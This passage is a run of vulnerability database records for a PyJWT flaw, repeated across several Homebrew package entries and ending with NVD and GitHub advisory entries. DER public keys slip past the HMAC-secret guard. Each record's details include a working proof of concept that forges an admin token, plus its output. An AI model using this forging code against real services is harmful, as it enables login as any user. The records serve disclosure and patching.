bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-sigstore-CVE-2026-102271",
  "modified": "2026-09-30T09:42:17Z",
  "published": "2026-09-30T09:42:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "snowflake-cli",
        "purl": "pkg:brew/snowflake-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.1"
            },
            {
              "fixed": "3.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-snowflake-cli-CVE-2026-102271",
  "modified": "2026-09-30T09:56:06Z",
  "published": "2026-09-30T09:56:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "snyk-agent-scan",
        "purl": "pkg:brew/snyk-agent-scan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.3"
            },
            {
              "fixed": "0.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-snyk-agent-scan-CVE-2026-102271",
  "modified": "2026-09-30T09:42:19Z",
  "published": "2026-09-30T09:42:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.13.0",
        "upstream_fixed_in": "2.14.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "strands-agents-sops",
        "purl": "pkg:brew/strands-agents-sops"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.13.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "BREW-strands-agents-sops-CVE-2026-102271",
  "modified": "2026-09-30T09:58:03Z",
  "published": "2026-09-30T09:58:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard",
  "upstream": [
    "GHSA-p4g4-x82p-q773",
    "CVE-2026-102271"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pyjwt",
          "vendor": "jpadilla",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.4.0, \u003c 2.14.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0."
    }
  ],
  "id": "CVE-2026-102271",
  "lastModified": "2026-09-30T19:38:27.293",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-28T21:17:15.110",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-347"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:14:33Z",
    "nvd_published_at": "2026-09-28T21:17:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and 